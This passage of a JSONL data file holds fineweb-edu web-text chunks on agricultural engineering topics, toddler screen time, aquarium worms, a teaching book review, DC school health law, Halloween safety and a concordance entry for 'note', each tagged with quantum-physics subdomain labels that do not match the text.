farm ponds, watershed management. soil - water - plant relationship, water requirement of crops ; consumptive use and evapo - transpiration ; irrigation scheduling ; irrigation efficiencies ; design of irrigation channels ; measurement of soil moisture, irrigation water and infiltration ; surface, sprinkler and drip methods of irrigation ; design and evaluation of irrigation methods. drainage coefficient ; planning, design and layout of surface and sub - surface drainage systems ; leaching requirement and salinity control ; irrigation and drainage water quality. groundwater occurrence confined and unconfined aquifers, evaluation of aquifer properties ; well hydraulics ; groundwater recharge. classification of pumps ; pump characteristics ; pump selection and installation. agricultural processing and food engineering steady state heat", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.543013279772963, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.790132"} {"text": "quality. groundwater occurrence confined and unconfined aquifers, evaluation of aquifer properties ; well hydraulics ; groundwater recharge. classification of pumps ; pump characteristics ; pump selection and installation. agricultural processing and food engineering steady state heat transfer in conduction, convection and radiation ; transient heat transfer in simple geometry ; condensation and boiling heat transfer ; working principles of heat exchangers ; diffusive and convective mass transfer ; simultaneous heat and mass transfer in agricultural processing operations. material and energy balances in food processing systems ; water activity, sorption and desorption isotherms ; centrifugal separation of solids, liquids and gases ; kinetics of microbial death - pasteurization and sterilization of liquid foods ; preservation of food by cooling and freezing ; refrigeration and cold storage basics and applications ; psychrometry - properties of air - vapour mixture ; concentration and drying of liquid foods - evaporators, tray, drum and spray dryers. mechanics and energy requirement in size reduction of granular solids ; particle size analysis for comminuted solids ; size separation by screening ; fluidization of granular solids - pneumatic, bucket, screw and belt conveying ; cleaning and grading ; effectiveness of grain cleaners. hydrothermal treatment, drying and milling of cereals, pulses and oilseeds ; processing of seeds, spices, fruits and vegetables ; by - product utilization from processing industries. controlled and modified atmosphere storage ; perishable food storage, godowns, bins and grain silos.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5823144578726366, "token_count": 321, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.790785"} {"text": "should your toddler play with an ipad, and if so, for how long? while tablets may be more interactive than watching tv, experts say it doesn ' t mean your child can learn from it. \" everyone thinks that because you interact with content, it ' s going to be ok, \" says rosemarie truglio, senior vice president of education and research for sesame workshop, reports livescience. \" it ' s the content, not the medium, that makes the difference, \" she said. according to common sense media, any time children spend in front of a screen, whether it ' s a television or a tablet, cuts into time when they could be interacting with the real world. truglio recommends that parents make sure their young child spends no more than 1. 5 to 2 hours a day in front of any kind of screen, reports livescience. if you do let your child use apps on a tablet or smartphone, be sure to preview the app to make sure it ' s age - appropriate. test to see whether or not your toddler is at a level where he or she can interact with it appropriately. truglio notes that children younger than two should not use apps that teach letters, for example. also, try playing with the app together, truglio recommends. and don ' t let playing with apps be part of a daily routine, such as always giving your child the ipad when in the car. what about educational dvds? a study published in 2010 found that toddlers exposed to dvds and videos marketed as \" educational \" showed no greater improvement in their vocabularies than children not exposed to such programming. \" if you want to show your infant ' baby videos, ' that ' s fine. just don ' t expect the child to learn a great deal from it, \" said lead author judy deloache of the university of virginia.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.38048111279446545, "token_count": 383, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.792690"} {"text": "from the aquarium wiki you can contribute to the aquarium wiki by expanding this article. dont be shy!. what is it a nematode is a micro sized worm often called roundworm ( they are roughly 2 - 5mm long ). there are over 20, 000 species of them. and they provide an important service in ponds, lakes, etc. they live in all habitats, and most are aquatic. they generally are only a few mm in length and have a life - cycle of a few days. - some species are parasitic and live off fish, often appearing in the anus of the fish. but by far the majority are harmless. aquarists often first come across these harmless ' white worms ' when they spot them in their hundreds massing on the sides of the aquarium in newly set up aquariums during the cycle process, when the aquarium is lacking in oxygen or if the tank is heated. they help to break down organic matter ( mulm ) and some fish like small gouramis are know to eat them. if you ' ve added something organic ( wood, other fish, raw fish food, etc. ) to the tank you can easily introduce them. leaving uneaten pet food in the water will virtually guarantee an outbreak of them. getting rid of them - simply reduce the amount you feed your pets. - siphon up uneaten food. - add species of fish like gourami or pleco which will eat them. they often simply disappear after 3 or 4 days if it ' s a newly cycled tank. if they look kind of flat and white, then they ' re most likely planaria flatworms. they ' re harmless too.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.448107321385696, "token_count": 344, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.794373"} {"text": "with the implementation of the new common core standards teachers everywhere are trying to wrap their brains around how these standards will look in their own classrooms. being a busy mother of three, hauling my own children to dance and sports, on top of writing for the educators room and managing my classroom responsibilities of grading papers, writing lesson plans, and reading guided reading books my time is precious. i know yours is too. that is why i was so utterly excited last sunday night when i picked up a digital copy of common core literacy lesson plans : ready - to - use resources, 6 - 8, edited by lauren davis, from eye on education and began reading. the editor of this fantastic resource has classroom experience and a passion for engaging students in learning. this is evident in the lesson, extension, and assessment ideas in the book. common core literacy lesson plans : ready - to - use resources, 6 - 8 has many research based activities i implemented the very next day in my classroom, is well - organized for easy use, has assessments provided and space for reflection. i read until i was forced to stop when my two - year - old stole the ipad for game play. the first ah - ha moment i had while reading was when i saw references to running records and fountas and pinnell, research - based teaching i already use in my classroom. the book starts with a planning checklist to guide novice teachers through implementing a lesson and remind experienced teachers of important practices when adapting the lessons to their own classroom and needs. there are also reminders for struggling readers and reference to \u201c stamina and persistence while reading \u201d which fit into habits of mind. again, good practices i am already using in my classroom. it is important to me as an educator to work smarter and use already created resources that fit into my teaching style, philosophy, curriculum and classroom needs as seamlessly as possible. common core literacy lesson plans : ready - to - use resources, 6 - 8 is an excellent example of a tool that does this. the organization of the book is set up simply with thirty - five lessons plans including an overview, ccss ela standards for grades 6 - 8, objectives, background knowledge, materials, step - by - step instructions, differentiation, assessments, and a place for your own notes. each lesson follows this same set up and is quick and easy to read through. i implemented ideas from lesson plan 2 : what \u2019 s the big idea? tracing a theme on monday with my higher reading groups in fourth grade. there are more resource ideas at the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4656322333962468, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.801386"} {"text": "follows this same set up and is quick and easy to read through. i implemented ideas from lesson plan 2 : what \u2019 s the big idea? tracing a theme on monday with my higher reading groups in fourth grade. there are more resource ideas at the end of each lesson and other books, poems, and text you can use. this makes it simple to adapt a lesson if you do not have the exact text. organized in four sections : reading, writing, speaking & listening, and language ; saves a teacher time and is one of the many high points of the book. formative and summative assessments are important in all classrooms and both are woven into the lessons in common core literacy lesson plans : ready - to - use resources, 6 - 8. formative assessments are scattered throughout the lessons with teacher observation, student sharing, and handouts provided in the book. summative assessments are included at the end of each lesson. there were a few rubrics that i would not use with students. lessons 1, 3, 11, 12, 20, 23, have rubrics that are scored more subjectively than i like to use. it would not be hard, however, to take the learning objectives and create a rubric that better matches my needs. you may find them perfect for your assessment style and need no changes. i liked that the rubrics were not all the same generic rubric ; they matched the lessons and there were other assessments as well including graphic organizers, questions about evidence of thinking, writing pieces, and short reflections. i did not feel like the same assessment was used over and over as you often find in pre - written lessons. i know as an educator i struggle with reflection the most. making myself take time to write down my thoughts about how lessons went, what i need to do better, and what worked well. i love the section after every lesson for notes. \u201c after implementing the lesson, reflect on what worked and what you would change the next time. \u201d this is an important part of the process we use to teach. the fact that the editor includes this in the book shows it is recognized, respected, and speaks highly for the quality of educators contributing to the lessons provided. the time you will save using this book instead of trying to find ways to implement ccss ela into your classroom can be spent reflecting on the lessons you use from the book. this reflection will only make you stronger as an educator. kudos to the editors for including this important, and yet often overlooked, step", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45789209067567577, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.802396"} {"text": "ways to implement ccss ela into your classroom can be spent reflecting on the lessons you use from the book. this reflection will only make you stronger as an educator. kudos to the editors for including this important, and yet often overlooked, step. there were minimal parts of the the book that i found i personally did not agree with. there are a few ideas for advanced students that include homework. i do not believe advanced students need more work to be challenged. this suggestion was rare though, and there were other great suggestions such as different text selections, pairing students to peer teach, and having small group discussions while other students are silent reading. many of the lessons also tie to one literature piece. this is easily remedied, however, by the additional resource list at the end of each lesson. one reminder : this book is directed to a very specific audience. while the lessons and standards are for english language arts, i was impressed with ideas for implementation for science and social studies classes. furthermore, while it covers standards for sixth, seventh, and eighth grade students, i was able to easily adapt things for my fourth grade class. the many research based activities, simple organization, varied assessments, and reflection space outweigh the few minor things i found that did not match with my personal teaching. are you interested in what the new ccss ela standards are? do you want to know how to implement them into your classroom? are you wondering how on earth you will find the time to write new lessons? do you find yourself strapped for time but want to challenge your kids? answers to all of these questions can be found in common core literacy lesson plans : ready - to - use resources, 6 - 8 from eye on education. grab a copy today, wrestle your e - reader away from your kids, and have fun implementing these activities in your classroom! disclaimer : this book was provided to the educator \u2019 s room free of charge by the publisher. however, neither the educator \u2019 s room nor the reviewer received any compensation for this review. the opinions contained in this review are those of the reviewer alone and were written free of any obligation or agreement with the publisher. if you have any questions regarding book reviews, see our full disclaimer or contact the book review editor.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4677587361254455, "token_count": 461, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.804052"} {"text": "- nearly half the children in d. c. are overweight or obese. - in some parts of the district, more than 70 % of residents are overweight or obese. - dc has the highest rate of adolescent obesity in the united states. depressing statistics like these were what motivated dc councilmember mary cheh ( ward 3 ) to take action by introducing the healthy schools act. the great news is that the dc council recently passed and funded the act! the healthy schools act aims to improve the nutrition, health and wellness of kids in dc. key provisions of the legislation include : - raising the nutritional standard and quality of school meals by bringing in more local fruits and vegetables to school cafeterias. - tripling the amount of physical and health education taught in dc schools. - establish school gardens as integral components of school and public charter schools. the last provision is key to improving the health and nutritional status of dc school children, because we have consistently seen that kids become more enthusiastic about eating fresh, nutritious food when they are involved in the growing process. tgc shares the goals of the healthy schools act ( especially since we are based in dc ), and the dc council \u2019 s decision to pass it is a crucial first step to improving the nutrition, health, and wellness of dc school children.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4178633428975247, "token_count": 266, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.806083"} {"text": "danger lurks for children and adults who join in the upcoming halloween high - jinks : costume parties, parades and treat - collecting excursions. fortunately, most risks \u2013 while they might loom large in your mind \u2013 usually aren ' t so monstrous in real life and easily can be minimized by using some common sense, according to those who preach public safety this time of year. among the precautions : traffic. by far, getting struck by a car or truck remains the most real danger for october ' s holiday revelers. drivers, be wary and go lightly on the gas pedal. walkers, stick to sidewalks wherever possible and, when crossing streets, do so at intersections. parents, equip your kids with flashlights, glow sticks and / or clothing with reflective tape. give them ground rules, too : travel in groups, no darting across the road, look both ways before crossing a street and don ' t take shortcuts across lawns where hazards \u2013 garden hoses, clotheslines \u2013 could play cruel tricks. treats. before snacking, inspect the contents of the goodie bag ; toss out anything that seems suspicious. eat only factory - wrapped treats. for very young children, beware choking hazards such as hard candies, peanuts and gum. don ' t gorge. costumes. skip the decorative contact lenses. sample makeup on a small area, in case it causes irritation. choose disguises and masks that fit well, lessening the chance of blocked vision and falls. face paint provides a good alternative to masks. consider flame - retardant costumes and avoid walking near lit candles. choose accessories \u2013 shepherd ' s hooks, swords, etc. \u2013 that are soft and flexible. finally, as a safeguard against things that go bump in the night and other strange happenings, carry a device to ward off trouble : a cellphone. take the worry out of your halloween by following the guidelines on these government websites. \u2022 general safety, centers for disease control and prevention : www. cdc. gov / family / halloween / \u2022 treat / food safety, u. s. food and drug administration : www. fda. gov / food / resourcesforyou / consumers / ucm187021. htm \u2022 costume safety, consumer product safety commission : www. cpsc. gov / cpscpub / pubs / 100. pdf", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3860547722406457, "token_count": 474, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.809213"} {"text": "not ( chaqaq, rasham ; semeioo, episemos ) : \" note \" ( verb ) is the translation of chaqaq, \" to grave, \" \" to inscribe, \" etc. ( isaiah 30 : 8, \" note it in a book, \" the revised version ( british and american ) \" inscribe \" ) ; of rasham, \" to note down, \" etc. ( daniel 10 : 21, the revised version ( british and american ) \" inscribed \" ) ; of semeioo, \" to put a sign on \" ( 2 thessalonians 3 : 14, \" note that man \" ). \" note \" ( noun ) is the translation of episemos, \" marked upon, \" \" distinguished \" ( romans 16 : 7, \" who are of note among the apostles \" ). \" notes \" ( musical ) occurs in the wisdom of solomon 19 : 18, \" notes of a psaltery \" ( phthoggos ). w. l. walker 1. ( v. t. ) to butt ; to push with the horns. 2. ( n. ) know not ; knows not. 3. ( n. ) nut. 4. ( n. ) need ; needful business. 5. ( n. ) a mark or token by which a thing may be known ; a visible sign ; a character ; a distinctive mark or feature ; a characteristic quality. 6. ( n. ) a mark, or sign, made to call attention, to point out something to notice, or the like ; a sign, or token, proving or giving evidence. 7. ( n. ) a brief remark ; a marginal comment or explanation ; hence, an annotation on a text or author ; a comment ; a critical, explanatory, or illustrative observation. 8. ( n. ) a brief writing intended to assist the memory ; a memorandum ; a minute. 9. ( n. ) hence, a writing intended to be used in speaking ; memoranda to assist a speaker, being either a synopsis, or the full text of what is to be said ; as, to preach from notes ; also, a reporter ' s memoranda ; the original report of a speech or of proceedings. 10. ( n. ) a short informal letter ; a billet. 11. ( n. ) a diplomatic missive or written communication. 12. ( n. ) a written or printed paper acknowledging a debt,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5346097448070097, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.851254"} {"text": "a speech or of proceedings. 10. ( n. ) a short informal letter ; a billet. 11. ( n. ) a diplomatic missive or written communication. 12. ( n. ) a written or printed paper acknowledging a debt, and promising payment ; as, a promissory note ; a note of hand ; a negotiable note. 13. ( n. ) a list of items or of charges ; an account. 14. ( n. ) a character, variously formed, to indicate the length of a tone, and variously placed upon the staff to indicate its pitch. hence : 15. ( n. ) a musical sound ; a tone ; an utterance ; a tune. 16. ( n. ) a key of the piano or organ. 17. ( n. ) observation ; notice ; heed. 18. ( n. ) notification ; information ; intelligence. 19. ( n. ) state of being under observation. 20. ( n. ) reputation ; distinction ; as, a poet of note. 21. ( n. ) stigma ; brand ; reproach. 22. ( n. ) to notice with care ; to observe ; to remark ; to heed ; to attend to. 23. ( n. ) to record in writing ; to make a memorandum of. 24. ( n. ) to charge, as with crime ( with of or for before the thing charged ) ; to brand. 25. ( n. ) to denote ; to designate. 26. ( n. ) to annotate. 27. ( n. ) to set down in musical characters. note ( 129 occurrences ) matthew 7 : 3 and why do you take note of the grain of dust in your brother ' s eye, but take no note of the bit of wood which is in your eye? ( bbe ) mark 11 : 14 and he said to it, let no man take fruit from you for ever. and his disciples took note of his words. ( bbe ) luke 6 : 41 and why do you take note of the grain of dust in your brother ' s eye, but take no note of the bit of wood which is in your eye? ( bbe ) luke 21 : 30 when they put out their young leaves, you take note of it, and it is clear to you that summer is coming. ( bbe ) acts 2 : 14 but peter, getting up, with the eleven, said in a loud voice, o men of judaea, and all", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5813215348300298, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.858473"} {"text": "you take note of it, and it is clear to you that summer is coming. ( bbe ) acts 2 : 14 but peter, getting up, with the eleven, said in a loud voice, o men of judaea, and all you who are living in jerusalem, take note of this and give ear to my words. ( bbe ) acts 3 : 10 they recognized him, that it was he who used to sit begging for gifts for the needy at the beautiful gate of the temple. they were filled with wonder and amazement at what had happened to him. ( see nas ) acts 4 : 10 take note, all of you, and all the people of israel, that in the name of jesus christ of nazareth, whom you put to death on the cross, whom god gave back from the dead, even through him is this man now before you completely well. ( bbe ) acts 4 : 13 now when they saw that peter and john were without fear, though they were men of no education or learning, they were greatly surprised ; and they took note of them that they had been with jesus. ( bbe niv ) acts 4 : 29 and now, lord, take note of their cruel words, and give your servants power to be preachers of your word without fear, ( bbe nas ) acts 24 : 11 thou being able to know that it is not more than twelve days to me since i went up to worship in jerusalem, ( see nas ) romans 11 : 22 see then that god is good but his rules are fixed : to those who were put away he was hard, but to you he has been good, on the condition that you keep in his mercy ; if not, you will be cut off as they were. ( see rsv ) romans 16 : 7 salute andronicus and junia, my kinsmen, and my fellow - prisoners, who are of note among the apostles, who also were in christ before me. ( kjv wey asv bbe dby wbs ylt rsv ) romans 16 : 17 now, it is my desire, brothers, that you will take note of those who are causing division and trouble among you, quite against the teaching which was given to you : and keep away from them. ( bbe rsv ) 1 corinthians 4 : 19 but i will come to you in a short time, if it is pleasing to the lord, and i will take note, not of the word of those who are full of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43411417532940566, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.860169"} {"text": ". ( bbe rsv ) 1 corinthians 4 : 19 but i will come to you in a short time, if it is pleasing to the lord, and i will take note, not of the word of those who are full of pride, but of the power. ( bbe ) 1 corinthians 14 : 8 for if the war - horn gives out an uncertain note, who will get ready for the fight? ( bbe ) 1 corinthians 14 : 37 if any man seems to himself to be a prophet or to have the spirit, let him take note of the things which i am writing to you, as being the word of the lord. ( bbe ) philippians 3 : 17 brothers, be imitators together of me, and note those who walk this way, even as you have us for an example. ( web bbe niv ) 2 thessalonians 3 : 14 if any man doesn ' t obey our word in this letter, note that man, that you have no company with him, to the end that he may be ashamed. ( web kjv asv bbe wbs ylt nas rsv niv ) james 1 : 19 so, then, my beloved brothers, let every man be swift to hear, slow to speak, and slow to anger ; ( see niv ) revelation 18 : 5 for her sins have gone up even to heaven, and god has taken note of her evil - doing. ( bbe ) genesis 21 : 1 yahweh visited sarah as he had said, and yahweh did to sarah as he had spoken. ( see nas ) genesis 23 : 16 and abraham took note of the price fixed by ephron in the hearing of the children of heth, and gave him four hundred shekels in current money. ( bbe ) exodus 5 : 21 and they said to them, may the lord take note of you and be your judge ; for you have given pharaoh and his servants a bad opinion of us, putting a sword in their hands for our destruction. ( bbe ) exodus 18 : 24 so moses took note of the words of his father - in - law, and did as he had said. ( bbe ) exodus 19 : 13 not a hand shall touch it, but it shall certainly be stoned, or shot through ; whether it be a beast or a man, it shall not live. when the long drawn note of the trumpet soundeth, they shall come up", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4336119893610898, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.863350"} {"text": ": 13 not a hand shall touch it, but it shall certainly be stoned, or shot through ; whether it be a beast or a man, it shall not live. when the long drawn note of the trumpet soundeth, they shall come up to the mountain. ( dby ) exodus 23 : 13 take note of all these things which i have said to you, and let not the names of other gods come into your minds or from your lips. ( bbe ) leviticus 20 : 4 and if the people of the land do not take note of that man when he gives his offspring to molech, and do not put him to death, ( bbe ) numbers 10 : 5 when a loud note is sounded, the tents placed on the east side are to go forward. ( bbe ) numbers 10 : 6 at the sound of a second loud note, the tents on the south side are to go forward : the loud note will be the sign to go forward. ( bbe ) numbers 10 : 9 and if you go to war in your land against any who do you wrong, then let the loud note of the horn be sounded ; and the lord your god will keep you in mind and give you salvation from those who are against you. ( bbe ) numbers 12 : 2 and they said, have the words of the lord been given to moses only? have they not come to us? and the lord took note of it. ( bbe ) numbers 31 : 6 and moses sent them out to war, a thousand from every tribe, and with them phinehas, the son of eleazar the priest, taking in his hands the vessels of the holy place and the horns for sounding the note of war. ( bbe ) numbers 31 : 49 and said to him, your servants have taken note of the number of all the fighting - men under our orders, and every one is present ; ( bbe ) deuteronomy 12 : 28 take note of all these orders i am giving you and give attention to them, so that it may be well for you and for your children after you for ever, while you do what is good and right in the eyes of the lord your god. ( bbe ) deuteronomy 16 : 1 take note of the month of abib and keep the passover to the lord your god : for in the month of abib the lord your god took you out of egypt by night. ( bbe ) deuteronomy 26 : 7 and our cry", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4656384249651096, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.866451"} {"text": "of the month of abib and keep the passover to the lord your god : for in the month of abib the lord your god took you out of egypt by night. ( bbe ) deuteronomy 26 : 7 and our cry went up to the lord, the god of our fathers, and the lord ' s ear was open to the voice of our cry, and his eyes took note of our grief and the crushing weight of our work : ( bbe ) deuteronomy 32 : 1 give ear, o heavens, to my voice ; let the earth take note of the words of my mouth : ( bbe ) joshua 6 : 5 and at the sound of a long note on the horns, let all the people give a loud cry ; and the wall of the town will come down flat, and all the people are to go straight forward. ( bbe ) judges 7 : 20 so the three bands all gave a loud note on their horns, and when the vessels had been broken, they took the flaming branches in their left hands, and the horns in their right hands ready for blowing, crying out, for the lord and for gideon. ( bbe ) judges 7 : 22 and the three hundred gave a loud note on their horns, and every man ' s sword was turned by the lord against his brother all through the army ; and the army went in flight as far as beth - shittah in the direction of zeredah, to the edge of abel - meholah by tabbath. ( bbe ) judges 13 : 13 and the angel of the lord said to manoah, let the woman take note of what i have said to her. ( bbe ) ruth 3 : 4 but see to it, when he goes to rest, that you take note of the place where he is sleeping, and go in there, and, uncovering his feet, take your place by him ; and he will say what you are to do. ( bbe niv ) 1 samuel 1 : 11 and she made an oath, and said, o lord of armies, if you will truly take note of the sorrow of your servant, not turning away from me but keeping me in mind, and will give me a man - child, then i will give him to the lord all the days of his life, and his hair will never be cut. ( bbe ) 1 samuel 16 : 7 but the lord said to samuel, do not take note of his face or how tall he is", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4066711748587357, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.870798"} {"text": "i will give him to the lord all the days of his life, and his hair will never be cut. ( bbe ) 1 samuel 16 : 7 but the lord said to samuel, do not take note of his face or how tall he is, because i will not have him : for the lord ' s view is not man ' s ; man takes note of the outer form, but the lord sees the heart. ( bbe ) 1 samuel 17 : 42 and when the philistine, taking note, saw david, he had a poor opinion of him : for he was only a boy, red - haired and good - looking. ( bbe ) 1 samuel 20 : 6 and if your father takes note of the fact that i am away, say, david made a request to me for himself that he might go to beth - lehem, to his town : for it is the time when his family make their offering year by year. ( bbe ) 1 samuel 23 : 23 see therefore, and take knowledge of all the lurking places where he hides himself, and come again to me with certainty, and i will go with you : and it shall happen, if he is in the land, that i will search him out among all the thousands of judah. \" ( see rsv ) 2 samuel 3 : 36 and all the people took note of it and were pleased : like everything the king did, it was pleasing to the people. ( bbe nas niv ) 2 samuel 9 : 8 and he went down on his face before the king, and said, what is your servant, for you to take note of a dead dog such as i am? ( bbe ) 2 samuel 13 : 28 now absalom had given orders to his servants, saying, now take note when amnon ' s heart is glad with wine ; and when i say to you, make an attack on amnon, then put him to death without fear : have i not given you orders? be strong and without fear. ( bbe ) 2 samuel 16 : 12 it may be that the lord will take note of my wrongs, and give me back good in answer to his cursing of me today. ( bbe ) 1 kings 20 : 7 then the king of israel sent for all the responsible men of the land, and said, now will you take note and see the evil purpose of this man : he sent for my wives and my children, my silver and my gold, and i did not keep them back. ( bb", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4239377548686054, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.872557"} {"text": "all the responsible men of the land, and said, now will you take note and see the evil purpose of this man : he sent for my wives and my children, my silver and my gold, and i did not keep them back. ( bbe ) 2 kings 19 : 16 let your ear be turned to us, o lord, and let your eyes be open, o lord, and see ; take note of all the words of sennacherib who has sent men to say evil against the living god. ( bbe ) 1 chronicles 15 : 21 and mattithiah and eliphelehu and mikneiah and obed - edom and jeiel and azaziah, with corded instruments on the octave, to give the first note of the song. ( bbe ) 1 chronicles 28 : 10 now then, take note ; for the lord has made selection of you to be the builder of a house for the holy place. be strong and do it. ( bbe ) nehemiah 1 : 11 o lord, let your ear take note of the prayer of your servant, and of the prayers of your servants, who take delight in worshipping your name : give help, o lord, to your servant this day, and let him have mercy in the eyes of this man. ( now i was the king ' s wine - servant. ) ( bbe ) nehemiah 11 : 17 and mattaniah, the son of mica, the son of zabdi, the son of asaph, who had to give the first note of the song of praise in prayer, and bakbukiah, the second among his brothers, and abda, the son of shammua, the son of galal, the son of jeduthun. ( bbe ) job 1 : 8 and the lord said to the satan, have you taken note of my servant job, for there is no one like him on the earth, a man without sin and upright, fearing god and keeping himself far from evil? ( bbe ) job 2 : 3 and the lord said to the satan, have you taken note of my servant job, for there is no one like him on the earth, a man without sin and upright, fearing god and keeping himself far from evil? and he still keeps his righteousness, though you have been moving me to send destruction on him without cause. ( bbe ) job 3 : 4 that day - - let it be dark ; let not god take note", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42201170553501904, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.874267"} {"text": "keeping himself far from evil? and he still keeps his righteousness, though you have been moving me to send destruction on him without cause. ( bbe ) job 3 : 4 that day - - let it be dark ; let not god take note of it from on high, and let not the light be shining on it ; ( bbe ) job 4 : 20 between morning and evening they are completely broken ; they come to an end for ever, and no one takes note. ( bbe ) job 5 : 27 see, we have made search with care, and it is so ; it has come to our ears ; see that you take note of it for yourself. ( bbe ) job 10 : 6 that you take note of my sin, searching after my wrongdoing, ( bbe ) job 10 : 14 that, if i did wrong, you would take note of it, and would not make me clear from sin : ( bbe nas ) job 11 : 11 for in his eyes men are as nothing ; he sees evil and takes note of it. ( bbe niv ) job 13 : 6 give ear to the argument of my mouth, and take note of the words of my lips. ( bbe ) job 15 : 17 take note and give ear to my words ; and i will say what i have seen : ( bbe ) job 21 : 5 take note of me and be full of wonder, put your hand on your mouth. ( bbe ) job 21 : 29 have you not put the question to the travellers, and do you not take note of their experience? ( bbe ) job 24 : 12 from the town come sounds of pain from those who are near death, and the soul of the wounded is crying out for help ; but god does not take note of their prayer. ( bbe ) job 30 : 20 you give no answer to my cry, and take no note of my prayer. ( bbe ) job 32 : 12 i was taking note ; and truly not one of you was able to make clear job ' s error, or to give an answer to his words. ( bbe ) job 33 : 1 and now, o job, give ear to my words, and take note of all i say. ( bbe ) job 33 : 31 take note o job, give ear to me ; keep quiet, while i say what is in my mind. ( bbe ) job 34 : 10 now then, you wise, take note ; you men of knowledge, give", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4232307995669288, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.875357"} {"text": ") job 33 : 31 take note o job, give ear to me ; keep quiet, while i say what is in my mind. ( bbe ) job 34 : 10 now then, you wise, take note ; you men of knowledge, give ear to me. let it be far from god to do evil, and from the ruler of all to do wrong. ( bbe ) job 34 : 16 if you are wise, take note of this ; give ear to the voice of my words. ( bbe ) job 34 : 25 therefore he takes knowledge of their works. he overturns them in the night, so that they are destroyed. ( see niv ) job 34 : 27 because they did not go after him, and took no note of his ways, ( bbe ) job 35 : 13 but god will not give ear to what is false, or the ruler of all take note of it ; ( bbe ) job 37 : 14 give ear to this, o job, and keep quiet in your place ; and take note of the wonders worked by god. ( bbe ) job 38 : 18 have you taken note of the wide limits of the earth? say, if you have knowledge of it all. ( bbe ) psalms 10 : 14 but you do see trouble and grief. you consider it to take it into your hand. you help the victim and the fatherless. ( see rsv ) psalms 37 : 37 give attention to the good man, and take note of the upright ; because the end of that man is peace. ( bbe ) psalms 48 : 13 take note of its strong walls, looking well at its fair buildings ; so that you may give word of it to the generation which comes after. ( bbe ) psalms 56 : 6 they come together, they are waiting in secret places, they take note of my steps, they are waiting for my soul. ( bbe ) psalms 86 : 6 o lord, give ear to my prayer ; and take note of the sound of my requests. ( bbe ) psalms 90 : 11 who has knowledge of the power of your wrath, or who takes note of the weight of your passion? ( bbe ) psalms 130 : 3 o jah, if you took note of every sin, who would go free? ( bbe ) proverbs 10 : 17 he who takes note of teaching is a way of life, but he who gives up training is a cause of error. ( bbe ) proverbs 13 : 18 need", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44267324379496387, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.876676"} {"text": "who would go free? ( bbe ) proverbs 10 : 17 he who takes note of teaching is a way of life, but he who gives up training is a cause of error. ( bbe ) proverbs 13 : 18 need and shame will be the fate of him who is uncontrolled by training ; but he who takes note of teaching will be honoured. ( bbe ) proverbs 